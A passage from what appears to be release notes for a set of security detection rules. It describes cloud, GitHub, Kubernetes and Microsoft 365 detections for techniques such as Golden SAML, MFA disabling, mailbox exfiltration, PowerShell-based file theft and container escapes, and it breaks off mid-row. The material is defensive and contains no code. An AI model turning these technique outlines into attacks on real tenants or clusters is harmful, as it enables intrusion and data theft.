conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. | update | 3 + +|<> | Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects (users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges roles. | update | 109 + +|<> | Detects when a custom domain is added or verified in an Entra ID tenant. Adding and verifying a custom domain are precursor steps to configuring domain federation, which can be abused by adversaries to route authentication through an attacker-controlled identity provider (Golden SAML). In most organizations, custom domains are added infrequently and these events should be investigated to ensure they are part of a legitimate administrative workflow. | update | 2 + +|<> | Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The event.code correlates to the CyberArk Vault Audit Action Code. | update | 106 + +|<> | Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. | update | 107 + +|<> | This rule leverages the File Integrity Monitoring (FIM) integration to detect file modifications of files that are commonly used for persistence on Linux systems. The rule detects modifications to files that are commonly used for cron jobs, systemd services, message-of-the-day (MOTD), SSH configurations, shell configurations, runtime control, init daemon, passwd/sudoers/shadow files, Systemd udevd, and XDG/KDE autostart entries. To leverage this rule, the paths specified in the query need to be added to the FIM policy in the Elastic Security app. | update | 12 + +|<> | Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. | update | 110 + +|<> | Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is used to forward messages from publishers to subscribers. | update | 110 + +|<> | Identifies when a firewall rule is created in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may create a new firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. | update | 109 + +|<> | Identifies when a firewall rule is deleted in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may delete a firewall rule in order to weaken their target's security controls. | update | 109 + +|<> | Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. | update | 109 + +|<> | Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may delete a log bucket to evade detection. | update | 109 + +|<> | Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may delete a Logging sink to evade detection. | update | 109 + +|<> | Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. | update | 109 + +|<> | Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. | update | 109 + +|<> | Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. | update | 109 + +|<> | Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. | update | 109 + +|<> | Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business operations. | update | 109 + +|<> | Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the flow of network traffic in their target's cloud environment. | update | 109 + +|<> | Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment. | update | 109 + +|<> | Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. | update | 109 + +|<> | Identifies an Identity and Access Management (IAM) role deletion in Google Cloud Platform (GCP). A role contains a set of permissions that allows you to perform specific actions on Google Cloud resources. An adversary may delete an IAM role to inhibit access to accounts utilized by legitimate users. | update | 108 + +|<> | Identifies when a service account is deleted in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may delete a service account in order to disrupt their target's business operations. | update | 108 + +|<> | Identifies when a service account is disabled in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may disable a service account in order to disrupt to disrupt their target's business operations. | update | 108 + +|<> | Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. | update | 108 + +|<> | Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. | update | 109 + +|<> | Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. | update | 109 + +|<> | Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. | update | 109 + +|<> | Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security risk. An adversary may create a new service account to use during their operations in order to avoid using a standard user account and attempt to evade detection. | update | 109 + +|<> | This rule detects setting modifications for protected branches of a GitHub repository. Branch protection rules can be used to enforce certain workflows or requirements before a contributor can push changes to a branch in your repository. Changes to these protected branch settings should be investigated and verified as legitimate activity. Unauthorized changes could be used to lower your organization's security posture and leave you exposed for future attacks. | update | 210 + +|<> | Detects when GitHub Secret Scanning is disabled for a repository. Adversaries may disable secret scanning to evade detection of hardcoded secrets, such as API keys or credentials, that could be used for further compromise or data exfiltration. | update | 2 + +|<> | Detects the deletion of a GitHub app either from a repo or an organization. | update | 209 + +|<> | Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. | update | 209 + +|<> | This rule detects when a new GitHub App has been installed in your organization account. GitHub Apps extend GitHub's functionality both within and outside of GitHub. When an app is installed it is granted permissions to read or modify your repository and organization data. Only trusted apps should be installed and any newly installed apps should be investigated to verify their legitimacy. Unauthorized app installation could lower your organization's security posture and leave you exposed for future attacks. | update | 209 + +|<> | Detects when a private GitHub repository is changed to public visibility. Adversaries may change repository visibility to public in order to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. | update | 2 + +|<> | Detects a high number of repository cloning actions by a single user within a short time frame. Adversaries may clone multiple repositories to exfiltrate sensitive data. | update | 4 + +|<> | Detects when there is activity on a private GitHub repository from an unusual IP address. Adversaries may access private repositories from unfamiliar IPs to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. | update | 3 + +|<> | This rule detects when a GitHub repository is deleted within your organization. Repositories are a critical component used within an organization to manage work, collaborate with others and release products to the public. Any delete action against a repository should be investigated to determine it's validity. Unauthorized deletion of organization repositories could cause irreversible loss of intellectual property and indicate compromise within your organization. | update | 207 + +|<> | Detects a high number of closed pull requests by a single user within a short time frame. Adversaries may close multiple pull requests to disrupt development workflows or hide malicious changes. | update | 4 + +|<> | Detects a high number of failed force push attempts to protected branches by a single user within a short time frame. Adversaries may attempt multiple force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. | update | 4 + +|<> | Detects a high number of force push actions to protected branches by a single user within a short time frame. Adversaries may perform force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. | update | 3 + +|<> | Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents, such as injecting backdoor workflow files. | update | 3 + +|<> | This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure. | update | 4 + +|<> | Detects when a new member is added to a GitHub organization as an owner. This role provides admin level privileges. Any new owner roles should be investigated to determine it's validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. | update | 211 + +|<> | Detects when a new GitHub Personal Access Token (PAT) is created. Adversaries may create new PATs to maintain persistent access to a compromised account or to escalate privileges within an organization. | update | 3 + +|<> | This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. | update | 211 + +|<> | Drive and Docs is a Google Workspace service that allows users to leverage Google Drive and Google Docs. Access to files is based on inherited permissions from the child organizational unit the user belongs to which is scoped by administrators. Typically if a user is removed, their files can be transferred to another user by the administrator. This service can also be abused by adversaries to transfer files to an adversary account for potential exfiltration. | update | 111 + +|<> | Detects when a custom Gmail route is added or modified in Google Workspace. Adversaries can add a custom e-mail route for outbound mail to route these e-mails to their own inbox of choice for data gathering. This allows adversaries to capture sensitive information from e-mail and potential attachments, such as invoices or payment documents. By default, all email from current Google Workspace users with accounts are routed through a domain's mail server for inbound and outbound mail. | update | 110 + +|<> | Detects when an external (anonymous) user has viewed, copied or downloaded an encryption key file from a Google Workspace drive. Adversaries may gain access to encryption keys stored in private drives from rogue access links that do not have an expiration. Access to encryption keys may allow adversaries to access sensitive data or authenticate on behalf of users. | update | 9 + +|<> | Google Workspace administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. | update | 111 + +|<> | Detects when a domain is added to the list of trusted Google Workspace domains. An adversary may add a trusted domain in order to collect and exfiltrate data from their target’s organization with less restrictive security controls. | update | 210 + +|<> | Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. | update | 111 + +|<> | Detects the first time a third-party application logs in and authenticated with OAuth. OAuth is used to grant permissions to specific resources and services in Google Workspace. Compromised credentials or service accounts could allow an adversary to authenticate to Google Workspace as a valid user and inherit their privileges. | update | 11 + +|<> | Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. | update | 112 + +|<> | Identifies the occurrence of a security alert from the Google Workspace alerts center. Google Workspace's security alert center provides an overview of actionable alerts that may be affecting an organization's domain. An alert is a warning of a potential security issue that Google has detected. | update | 7 + +|<> | Detects when a custom admin role is deleted. An adversary may delete a custom admin role in order to impact the permissions or capabilities of system administrators. | update | 210 + +|<> | Detects when multi-factor authentication (MFA) enforcement is disabled for Google Workspace users. An adversary may disable MFA enforcement in order to weaken an organization’s security controls. | update | 212 + +|<> | Detects an external Google Workspace user account being added to an existing group. Adversaries may add external user accounts as a means to intercept shared files or emails with that specific group. | update | 7 + +|<> | Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. | update | 8 + +|<> | Detects when a user copies a Google spreadsheet, form, document or script from an external drive. Sequence logic has been added to also detect when a user grants a custom Google application permission via OAuth shortly after. An adversary may send a phishing email to the victim with a Drive object link where "copy" is included in the URI, thus copying the object to the victim's drive. If a container-bound script exists within the object, execution will require permission access via OAuth in which the user has to accept. | update | 13 + +|<> | Detects when a Google marketplace application is added to the Google Workspace domain. An adversary may add a malicious application to an organization’s Google Workspace domain in order to maintain a presence in their target’s organization and steal data. | update | 210 + +|<> | Google Workspace admins may setup 2-step verification (2SV) to add an extra layer of security to user accounts by asking users to verify their identity when they use login credentials. Admins have the ability to enforce 2SV from the admin console as well as the methods acceptable for verification and enrollment period. 2SV requires enablement on admin accounts prior to it being enabled for users within organization units. Adversaries may disable 2SV to lower the security requirements to access a valid account. | update | 111 + +|<> | Assigning the administrative role to a user will grant them access to the Google Admin console and grant them administrator privileges which allow them to access and manage various resources and applications. An adversary may create a new administrator account for persistence or apply the admin role to an existing user to carry out further intrusion efforts. Users with super-admin privileges can bypass single-sign on if enabled in Google Workspace. | update | 211 + +|<> | Detects when a domain-wide delegation of authority is granted to a service account. Domain-wide delegation can be configured to grant third-party and internal applications to access the data of Google Workspace users. An adversary may configure domain-wide delegation to maintain access to their target’s data. | update | 211 + +|<> | Detects when a custom admin role is created in Google Workspace. An adversary may create a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. | update | 210 + +|<> | Detects when a Google Workspace password policy is modified. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. | update | 210 + +|<> | Detects when a custom admin role or its permissions are modified. An adversary may modify a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. | update | 210 + +|<> | Users in Google Workspace are typically assigned a specific organizational unit that grants them permissions to certain services and roles that are inherited from this organizational unit. Adversaries may compromise a valid account and change which organizational account the user belongs to which then could allow them to inherit permissions to applications and resources inaccessible prior to. | update | 111 + +|<> | Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. | update | 210 + +|<> | This rule detects when secrets are accessed via an unusual user agent, user name and source IP. Attackers may attempt to access secrets in a Kubernetes cluster to gain access to sensitive information after gaining access to the cluster. | update | 3 + +|<> | This rule detects the deletion of Kubernetes events, which can indicate an attempt to cover up malicious activity or misconfigurations. Adversaries may delete events to remove traces of their actions, making it harder for defenders to investigate and respond to incidents. | update | 3 + +|<> | This rule detects when a service account makes an unauthorized request for resources from the API server via an unusual user agent. Service accounts follow a very predictable pattern of behavior. A service account should never send an unauthorized request to the API server. This behavior is likely an indicator of compromise or of a problem within the cluster. An adversary may have gained access to credentials/tokens and this could be an attempt to access or create resources to facilitate further movement or execution within the cluster. | update | 12 + +|<> | This rule detects when a service account or node attempts to enumerate their own permissions via the selfsubjectaccessreview or selfsubjectrulesreview APIs via an unusual user agent. This is highly unusual behavior for non-human identities like service accounts and nodes. An adversary may have gained access to credentials/tokens and this could be an attempt to determine what privileges they have to facilitate further movement or execution within the cluster. | update | 211 + +|<> | This rule detects attempts to create, update, or patch pods by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. Creating, updating, or patching pods is a common activity for attackers to gain access to the cluster and execute commands. | update | 3 + +|<> | This rule detects attempts to create resources in Kubernetes clusters that are forbidden by the authorization policy. It specifically looks for creation requests that are denied with a "forbid" decision, indicating that the user or service account does not have the necessary permissions to perform the action. This activity is commonly associated with adversaries attempting to create resources in a Kubernetes environment without proper authorization, which can lead to unauthorized access, manipulation of cluster resources, lateral movement and/or privilege escalation. | update | 3 + +|<> | This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. | update | 6 + +|<> | This rule detects unusual request responses in Kubernetes audit logs through the use of the "new_terms" rule type. In production environments, default API requests are typically made by system components or trusted users, who are expected to have a consistent user agent and allowed response annotations. By monitoring for anomalies in the username and response annotations, this rule helps identify potential unauthorized access or misconfigurations in the Kubernetes environment. | update | 6 + +|<> | This rule detects a user attempt to establish a shell session into a pod using the 'exec' command. Using the 'exec' command in a pod allows a user to establish a temporary shell session and execute any process/commands in the pod. An adversary may call bash to gain a persistent interactive shell which will allow access to any data the pod has permissions to, including secrets. | update | 211 + +|<> | This rule detects when an unauthenticated user request is authorized within the cluster via an unusual user agent. Attackers may attempt to use anonymous accounts to gain initial access to the cluster or to avoid attribution of their activities within the cluster. This rule excludes the /healthz, /livez, /version and /.well-known/oauth-authorization-server endpoints which are commonly accessed anonymously. | update | 13 + +|<> | This rule detects the creation of a RoleBinding or ClusterRoleBinding that grants the cluster-admin ClusterRole, which provides unrestricted access to all Kubernetes resources and represents a high-risk privilege escalation or misconfiguration. | update | 2 + +|<> | This rule detects an attempt to create or modify a service as type NodePort. The NodePort service allows a user to externally expose a set of labeled pods to the internet. This creates an open port on every worker node in the cluster that has a pod for that service. When external traffic is received on that open port, it directs it to the specific pod through the service representing it. A malicious user can configure a service as type Nodeport in order to intercept traffic from other pods or nodes, bypassing firewalls and other network security measures configured for load balancers within a cluster. This creates a direct method of communication between the cluster and the outside world, which could be used for more malicious behavior and certainly widens the attack surface of your cluster. | update | 209 + +|<> | This rule detects the creation of RoleBindings or ClusterRoleBindings that reference a ServiceAccount, which may indicate privilege delegation or potential RBAC misconfiguration leading to elevated access. | update | 2 + +|<> | This rule detects a container deployed with one or more dangerously permissive Linux capabilities. An attacker with the ability to deploy a container with added capabilities could use this for further execution, lateral movement, or privilege escalation within a cluster. The capabilities detected in this rule have been used in container escapes to the host machine. | update | 12 + +|<> | This rule detects an attempt to create or modify a pod using the host IPC namespace. This gives access to data used by any pod that also use the hosts IPC namespace. If any process on the host or any processes in a pod uses the hosts inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), an attacker can read/write to those same mechanisms. They may look for files in /dev/shm or use ipcs to check for any IPC facilities being used. | update | 210 + +|<> | This rules detects an attempt to create or modify a pod attached to the host network. HostNetwork allows a pod to use the node network namespace. Doing so gives the pod access to any service running on localhost of the host. An attacker could use this access to snoop on network activity of other pods on the same node or bypass restrictive network policies applied to its given namespace. | update | 210 + +|<> | This rule detects an attempt to create or modify a pod attached to the host PID namespace. HostPID allows a pod to access all the processes running on the host and could allow an attacker to take malicious action. When paired with ptrace this can be used to escalate privileges outside of the container. When paired with a privileged container, the pod can see all of the processes on the host. An attacker can enter the init system (PID 1) on the host. From there, they could execute a shell and continue to escalate privileges to root. | update | 210 + +|<> | This rule detects when a pod is created with a sensitive volume of type hostPath. A hostPath volume type mounts a sensitive file or folder from the node to the container. If the container gets compromised, the attacker can use this mount for gaining access to the node. There are many ways a container with unrestricted access to the host filesystem can escalate privileges, including reading data from other containers, and accessing tokens of more privileged pods. | update | 210 + +|<> | This rule detects when a user creates a pod/container running in privileged mode. A highly privileged container has access to the node's resources and breaks the isolation between containers. If compromised, an attacker can use the privileged container to gain access to the underlying host. Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. | update | 210 + +|<> | Detects a sequence where a principal creates or modifies a Role/ClusterRole to include high-risk permissions (e.g., wildcard access or escalation verbs) and then creates or patches a workload resource (DaemonSet, Deployment, or CronJob) shortly after, which may indicate RBAC-based privilege escalation followed by payload deployment. This pattern is often used by adversaries to gain unauthorized access to sensitive resources and deploy malicious payloads. | update | 3 + +|<> | Detects the creation or modification of several sensitive workloads, such as DaemonSets, Deployments, or CronJobs, by an unusual user agent, source IP and username, which may indicate privilege escalation or unauthorized access within the cluster. | update | 3 + +|<> | Detects write operations performed by Kubernetes service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse, misconfigured permissions, or unauthorized privilege escalation. | update | 3 + +|<> | This rule detects a request to attach a controller service account to an existing or new pod running in the kube-system namespace. By default, controllers running as part of the API Server utilize admin-equivalent service accounts hosted in the kube-system namespace. Controller service accounts aren't normally assigned to running pods and could indicate adversary behavior within the cluster. An attacker that can create or modify pods or pod controllers in the kube-system namespace, can assign one of these admin-equivalent service accounts to a pod and abuse their powerful token to escalate privileges and gain complete cluster control. | update | 12 + +|<> | Detects Azure Monitor alert notification emails with financial or billing themed subject lines delivered to organization users. Adversaries abuse Azure Monitor alert rules to deliver callback phishing emails from Microsoft's legitimate azure-noreply@microsoft.com address. Because the emails originate from Microsoft's own infrastructure, they pass SPF, DKIM, and DMARC checks, bypassing email security filters and increasing victim trust. The attacker embeds a fraudulent billing or security lure in the alert rule description, which is rendered in the notification email body. Observed subject patterns include invoice numbers, payment references, and order confirmations. | update | 2 + +|<> | Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. | update | 4 + +|<> | Identifies suspicious Microsoft 365 mail access by ClientAppId. This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. | update | 113 + +|<> | Identifies when an excessive number of files are downloaded from OneDrive or SharePoint by an authorized user or application in a short period of time. This may indicate a potential data exfiltration event, especially if the downloads are performed using OAuth authentication which could suggest an OAuth phishing attack such as Device Code Authentication phishing. | update | 9 + +|<> | Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. | update | 4 + +|<> | Identifies attempts to register a new device in Microsoft Entra ID after OAuth authentication with authorization code grant. Adversaries may use OAuth phishing techniques to obtain an OAuth authorization code, which can then be exchanged for access and refresh tokens. This rule detects a sequence of events where a user principal authenticates via OAuth, followed by a device registration event, indicating potential misuse of the OAuth flow to establish persistence or access resources. | update | 4 + +|<> | Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. | update | 418 + +|<> | Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. | update | 9 + +|<> | Identifies sign-ins on behalf of a principal user to the Microsoft Graph or legacy Azure AD API from multiple IPs using first-party Microsoft applications from the FOCI (Family of Client IDs) group. Developer tools like Azure CLI, VSCode, and Azure PowerShell accessing these resources from multiple IPs are flagged, along with any FOCI application accessing the deprecated Windows Azure Active Directory from multiple IPs. This behavior may indicate an adversary using a phished OAuth authorization code or refresh token, as seen in attacks like ConsentFix where attackers steal localhost OAuth codes and replay them from attacker infrastructure. | update | 9 + +|<> | Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. | update | 213 + +|<> | Identifies the modification of an anti-phishing rule in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing rules increase this protection by refining settings to better detect and prevent attacks. | update | 212 + +|<> | Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the receiving email system to validate that the messages were generated by a server that the organization authorized and were not spoofed. | update | 213 + +|<> | Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to evade existing DLP monitoring. | update | 214 + +|<> | Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. | update | 213 + +|<> | Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. | update | 213 + +|<> | Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert administrators that an internal user sent a message that contained malware. This may indicate an account or machine compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. | update | 213 + +|<> | Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may want to modify a malware filter rule to evade detection. | update | 213 + +|<> | Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. | update | 5 + +|<> | Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware protections to include routing all messages and attachments without a known malware signature to a special hypervisor environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. | update | 213 + +|<> | Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. | update | 3 + +|<> | Identifies when a SharePoint or OneDrive site sharing policy is changed to weaken security controls. The SharingPolicyChanged event fires for many routine policy modifications, but this rule targets specific high-risk transitions where sharing restrictions are relaxed. This includes enabling guest sharing, enabling anonymous link sharing, making a site public, or enabling guest user access. Adversaries who compromise administrative accounts may weaken sharing policies to exfiltrate data to external accounts or create persistent external access paths. | update | 3 + +|<> | Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may abuse this behavior to establish persistence in an environment. | update | 214 + +|<> | Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users communicate with other users that are outside their organization. An adversary may enable external access or add an allowed domain to exfiltrate data or maintain persistence in an environment. | update | 214 + +|<> | Identifies search queries in SharePoint containing sensitive terms related to credentials, financial data, PII, legal matters, or infrastructure information. Adversaries who compromise user accounts often search for high-value files before exfiltration. This rule detects searches containing terms across multiple sensitivity categories, regardless of the access method (browser, PowerShell, or API). The actual search query text is analyzed against a curated list of sensitive terms to identify potential reconnaissance activity. | update | 2 + +|<> | Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should not be set to forward email to domains outside of your organization. An adversary may create transport rules to exfiltrate data. | update | 213 + +|<> | Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. | update | 213 + +|<> | Identifies when Microsoft Cloud App Security flags potential ransomware activity in Microsoft 365. This rule detects events where the Security Compliance Center reports a "Ransomware activity" or "Potential ransomware activity" alert, which may indicate file encryption, mass file modifications, or uploads of ransomware-infected files to cloud services such as SharePoint or OneDrive. | update | 215 + +|<> | Identifies that a user has deleted an unusually large volume of files as reported by Microsoft Cloud App Security. | update | 213 + +|<> | Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. | update | 10 + +|<> | Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. | update | 9 + +|<> | Identifies an Microsoft 365 